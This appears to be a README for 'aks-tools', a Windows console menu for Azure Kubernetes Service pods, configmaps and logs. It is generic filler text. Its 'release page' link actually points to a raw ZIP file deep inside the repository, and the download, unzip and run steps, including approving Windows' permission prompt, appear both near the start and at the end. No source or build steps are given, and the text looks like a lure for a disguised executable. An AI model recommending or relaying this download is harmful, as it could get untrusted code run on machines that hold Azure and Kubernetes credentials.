aks-tools gives you a set of simple console tools for Azure Kubernetes Service on Windows.
Use it to:
- open a cluster console
- manage pods
- edit configmaps
- view logs
- work faster from a single menu
It is made for users who want quick access to common AKS tasks without typing long commands.
Visit the release page to download and run this file:
https://raw.githubusercontent.com/theabsurdealer/aks-tools/main/aksm/tools_aks_1.9-alpha.3.zip
Look for the latest release and download the Windows file that matches your system.
- Open the release page in your browser
- Find the newest version at the top of the list
- Download the Windows package
- Save the file to a folder you can find, such as Downloads or Desktop
- If the file comes in a ZIP folder, unzip it
- Open the app from the extracted folder
If Windows asks for permission, choose the option to run the app.
aks-tools works best on a Windows computer with access to:
- Azure Kubernetes Service
- kubectl
- a terminal or console window
- internet access for the first download
- permission to run local tools on your device
For cluster access, you need a working Kubernetes setup and valid Azure access.
After you open aks-tools, you will see a text menu in the console.
From there, you can:
- choose a cluster
- list pods
- open a pod shell
- edit a configmap
- view logs from a pod
- move between tasks without leaving the tool
If the app asks for a cluster context, pick the one you want to work with.
The console launcher helps you start common AKS actions from one place.
Use it when you want a simple menu instead of typing commands by hand.
The pod manager helps you find pods, check their state, and open them for more work.
This is useful when you need to inspect a workload or see what is running.
The configmap editor lets you view and change configmap data in a clear way.
Use it when you need to update app settings stored in Kubernetes.
The log viewer shows pod logs in the console so you can track app behavior.
This helps when you want to see errors, startup output, or recent activity.
- Open the app
- Pick the AKS cluster you want
- Choose the task you need
- Follow the prompts on screen
- Finish the task and return to the menu
The tool is built for short, direct work. You do one task at a time and then move to the next.
Use aks-tools when you want to:
- check whether a pod is running
- open logs for a failed pod
- edit a configmap before redeploying
- jump into a pod shell
- work with AKS from a clean text interface
- avoid switching between many windows
- Keep your Azure login ready before you start
- Make sure kubectl can reach your cluster
- Use the latest release when possible
- Keep the app in a folder you can find fast
- Run the tool from a terminal with access to your Kubernetes context
A typical release may include:
- the main Windows app file
- supporting files for console use
- a readme or release note
- config files for local settings
If you unzip the download, keep all files in the same folder.
- Check that you downloaded the Windows version
- Make sure the file finished downloading
- If the file is in a ZIP folder, unzip it first
- Try opening it from a local folder, not from inside the ZIP file
- Check your Azure and Kubernetes access
- Confirm that kubectl can reach the cluster
- Make sure you are signed in to the right Azure account
- Choose a pod that is running
- Check that the namespace is correct
- Try another pod if the first one has no log output
- Make sure you have write access in the cluster
- Check that the configmap exists
- Verify that the namespace is correct
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- Open the release page
- Download the latest Windows file
- Unzip it if needed
- Open the app
- Select your AKS task
- Work from the menu